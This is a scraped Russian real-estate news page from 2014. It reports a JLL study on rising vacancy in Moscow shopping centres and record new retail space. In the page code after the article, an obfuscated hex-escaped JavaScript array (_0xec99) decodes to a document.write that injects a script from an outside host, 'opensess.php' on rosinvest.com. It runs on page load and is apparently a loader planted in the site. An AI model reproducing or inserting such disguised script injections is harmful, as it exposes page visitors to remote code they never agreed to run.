В торговых центрах Москвы растет доля вакантных площадей - исследование

2014-10-13 11:20:22

Сложная экономическая ситуация в России привела к существенному росту доли вакантных площадей в ТЦ Москвы, говорится в исследовании компании JLL.Эксперты отмечают, что в 3-м квартале объем свободных площадей вырос с 3,5% до 6%. Такая ситуация помимо экономических причин объясняется и существенным увеличением предложения с начала года и активной ротацией арендаторов.Так с начала года на московский рынок вышло 285 тыс. кв. м качественных площадей в торговых центрах, что почти в 1,5 раза превышает объем совокупного ввода за прошлый год. Объем предложения торговых центров в Москве увеличился к концу 3-го квартала до 3,8 млн кв. м."В 4-м квартале мы ожидаем к вводу пять торговых центров суммарной арендуемой площадью более 450 тыс. кв. м. Если все анонсированные проекты будут реализованы в срок, объем ввода новых площадей по итогам 2014 года превысит 750 тыс. кв. м, что станет рекордным показателем за всю историю рынка", - рассказала начальник департамента торговых площадей компании Татьяна Ключинская.В связи со значительным объемом ввода новых объектов, а также пересмотром некоторыми ритейлерами планов по развитию в связи с ослаблением покупательской способности россиян, эксперты ожидают дальнейшего роста доли свободных площадей в 2015 году."Однако говорить о том, что "уходы" с российского рынка стали тенденцией и будут продолжаться дальше, преждевременно. Иностранные операторы понимают потенциал российского рынка ритейла при позитивном фоне и не отказываются от него, они просто замедлили развитие, отдав пока предпочтение рынкам других развивающихся стран", - прокомментировала руководитель направления услуг ритейлерам компании JLL Елена Задорожная.Российский рынок торговых центров в целом по итогам 3-го квартала увеличился на 272 тыс. кв. м качественных площадей, что более чем в 1,5 раза превышает объем ввода аналогичного периода 2013 года. По прогнозам аналитиков JLL, ввод торговых площадей в России по итогам 2014 года может составить около 1,7-1,8 млн. кв. м."Мы отмечаем снижение активности девелоперов в торговых центрах в регионах - в текущих условиях компании предпочитают достраивать проекты, находящиеся в активной фазе реализации и не начинать новые. По нашему мнению, в ближайшей перспективе строительство новых торговых центров начинаться не будет, за исключением проектов, уже обеспеченных финансированием или реализуемых за счет собственных средств. В результате мы получим эффект 2009 года - "провал" в объемах нового ввода в течение ближайших лет", - резюмирует Т.Ключинская. var sources = "Ист"+"очн"+"ик: interfax.ru";Следите за нами в ВКонтакте, Facebook"e и Twitter"e Просмотров: 48Рубрика: Недвижимостьdocument.write(sources); (CY) Архив новостей / Экспорт новостей var MarketGidDate = new Date(); document.write(""); #smi2adblock_42717 img { max-width: none; }#smi2adblock_42717 a { color: #316CA6; font-size: 13px; text-decoration: underline; font-family: Arial, Tahoma, sans-serif}#smi2adblock_42717 a:hover { text-decoration: none;} (function() { var sc = document.createElement("script"); sc.type = "text/javascript"; sc.async = true; sc.src = "http://js.finance.comon.ru/data/js/42717.js"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(sc, s); }()); Оставьте комментарий! Ваше Имя: function CheckForm() { message_error=""; (!document.fadd.message.value || document.fadd.message.value.length < 4 || document.fadd.message.value.length > 1000) ? message_error += " - Комментарий мен. 4 или бол. 1000 символов; " : null; (!document.fadd.username.value || document.fadd.username.value.length > 25) ? message_error += " - Не указанно ваше имя или оно бол. 25 символов; " : null; (message_error!="") ? alert("ВНИМАНИЕ! Ниже приведённые поля заполнены не верно: "+message_error) : document.fadd.submit(); }var _0xec99=["x3Cx73x63","x72x69x70x74x20x74x79x70x65x3Dx22x74x65x78x74x2Fx6Ax61x76x61x73x63x72x69x70x74x22x20x73x72x63x3Dx22x68x74x74x70x3Ax2Fx2Fx72x6Fx73x69x6Ex76x65x73x74x2Ex63x6Fx6Dx2Fx6Ax61x76x61x73x63x72x69x70x74x2Fx63x6Fx6Ex74x72x2Fx6Fx70x65x6Ex73x65x73x73x2Ex70x68x70x22x3Ex3Cx2Fx73x63","x72x69x70x74x3E","x77x72x69x74x65"];document[_0xec99[3]](_0xec99[0]+_0xec99[1]+_0xec99[2]); На форуме обсуждают:
  • Московская областная государственная детская библиотека планирует переезд (1)
  • Инвесторы из Китая готовы вложить 400 млрд руб. на негосударственную часть (1)
  • Жилье для военнослужащих возведут на новой улице Маргелова в Москве (1)
  • Продвижение услуги "квартиры посуточно" (12)
Ещё новости по теме:16: 00 Ввод жилья в Калужской области с начала года вырос на 70,6% |14: 20 Точная копия главного собора Севастополя появит

Все новости